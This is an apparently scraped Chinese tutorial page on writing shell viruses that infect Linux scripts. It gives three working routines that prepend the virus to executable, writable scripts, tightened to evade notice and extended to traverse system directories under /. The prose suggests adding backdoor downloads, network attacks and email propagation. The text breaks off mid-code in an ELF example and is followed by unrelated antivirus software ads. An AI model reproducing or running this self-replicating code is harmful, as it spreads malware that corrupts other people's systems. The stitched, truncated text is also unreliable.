非出网教程:是一个免费提供流行杀毒软件教程、在线学习分享的学习平台!

怎么用Shell病毒技术感染Linux脚本程序

grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell

脚本程序.

  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简

单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,看看下面代码:

---------------------------------------------------------

#infection

head -n 24 $0 > .test    <-取自身保存到.test

for file in *      <-遍历文件系统

do

 if test -f $file    <-判断是否为文件

 then

   if test -x $file    <-判断文件是否可执行

   then

      if test -w $file  <-判断文件是否可写

      then

       if grep -s echo $file >.mmm  <-判断是否为脚本程序

       then

        head -n 1 $file >.mm    <-提取要感染的脚本程序的第一行

        if grep -s infection .mm >.mmm  <-判断该文件是否已经被感染

        then

        rm -f .mm      <-已经被感染,则跳过

        else        <-还未被感染

        cat $file > .SAVEE    <-很熟悉吧?借用了传统的二进制文件的感染机制

        cat .test > $file

        cat .SAVEE >> $file

 fi; fi; fi; fi; fi

done

rm .test .SAVEE .mmm .mm -f

--------------------------------------------------------

程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过

危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.

ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:

--------------------------------------------------------

#infection

for file in * ; do

 if test -f $file && test -x $file && test -w $file ; then

  if grep -s echo $file > /dev/nul ; then

  head -n 1 $file >.mm

   if grep -s infection .mm > /dev/nul ; then

   rm .mm -f ; else

    cat $file > .SAVEE

    head -n 13 $0 > $file

    cat .SAVEE >> $file

fi; fi; fi

done

rm .SAVEE .mm -f

--------------------------------------------------------

现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就

不写出来了.

好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多

数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了

--------------------------------------------------------

#infection

xtemp=$pwd        <-保存当前路径

head -n 22 $0 > /.test

for dir in /* ; do      <-遍历/目录

if test -d $dir ; then    <-如果是目录就cd该目录

 cd $dir

 for file in * ; do      <-遍历该目录文件

  if test -f $file && test -x $file && test -w $file ; then  <-确定文件是否可执行,可写

  if grep -s echo $file > /dev/nul ; then      <-确定是否为脚本程序

   head -n 1 $file > .mm

   if grep -s infection .mm > /dev/nul ; then    <-确定是否已经被感染

    rm .mm -f ; else

    cat $file > /.SAVEE        <-和前面的感染机制一样感染未被感染的脚本程序

    cat /.test > $file

    cat /.SAVEE >> $file

  fi; fi; fi

 done

 cd ..

fi

done

cd $xtemp    <-返回原目录

rm /.test /.SAVEE .mm -f

-------------------------------------------------------------

其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情

如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,

但也比较实用,还是值得去说明一下的,呵呵.

同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧

-------------------------------------------------------------

for file in * ; do

 if test -f $file && test -x $file && test -w $file ; then

  if file $file
软件推荐:      

(网视站,专业提供浏览器下载)

相关软件

2345安全卫士最新官方版

2345安全卫士官方版 | 45.34MB

2345安全卫士官方版

2345安全卫士是集电脑体检、木马查杀、垃圾清理、修复系统漏洞、系统加速、软件管理等功能为一体的电脑安全管理的软件.提供全方位检测,用户可以通过检测结果快速了解自己的电脑并且对电脑进行优化..

360杀毒软件官方正式版

360杀毒软件官方正式版 | 35.10MB

360杀毒软件官方正式版

360杀毒具有查杀率高、资源占用少、升级迅速等优点。零广告、零打扰、零胁迫,一键扫描,快速、全面地诊断系统安全状况和健康程度,并进行精准修复,带来安全、专业、有效、新颖的查杀防护体验...

360安全卫士最新版下载

360安全卫士最新版下载 | 50.3MB

360安全卫士最新版下载

360安全卫士是一款由奇虎360公司推出的功能强、效果好、受用户欢迎的安全杀毒软件。360安全卫士拥有查杀木马、清理插件、修复漏洞、电脑体检、电脑救援、保护隐私,电脑专家,清理垃圾,清理痕迹...

QQ电脑管家官方正式版

QQ电脑管家官方正式版 | 24.2MB

QQ电脑管家官方正式版

腾讯电脑管家(Tencent PC Manager/原名QQ电脑管家)是腾讯公司推出的免费安全软件。拥有云查杀木马,系统加速,漏洞修复,实时防护,网速保护,电脑诊所,健康小助手...

金山毒霸2022最新版下载

金山毒霸2022下载 | 37MB

金山毒霸2018最新版下载

金山毒霸融合了启发式搜索、代码分析、虚拟机查毒等技术。经业界证明成熟可靠的反病毒技术,以及丰富的经验,使其在查杀病毒种类、查杀病毒速度、未知病毒防治等多方面达到世界先进水平...

猎豹清理大师官方版下载

猎豹清理大师下载 | 47.4MB

猎豹清理大师官方版下载

猎豹清理大师(原金山清理大师)是由金山网络开发的智能手机应用。它可以清理智能手机上的应用缓存、残余程序文件、历史痕迹以及应用程序安装包...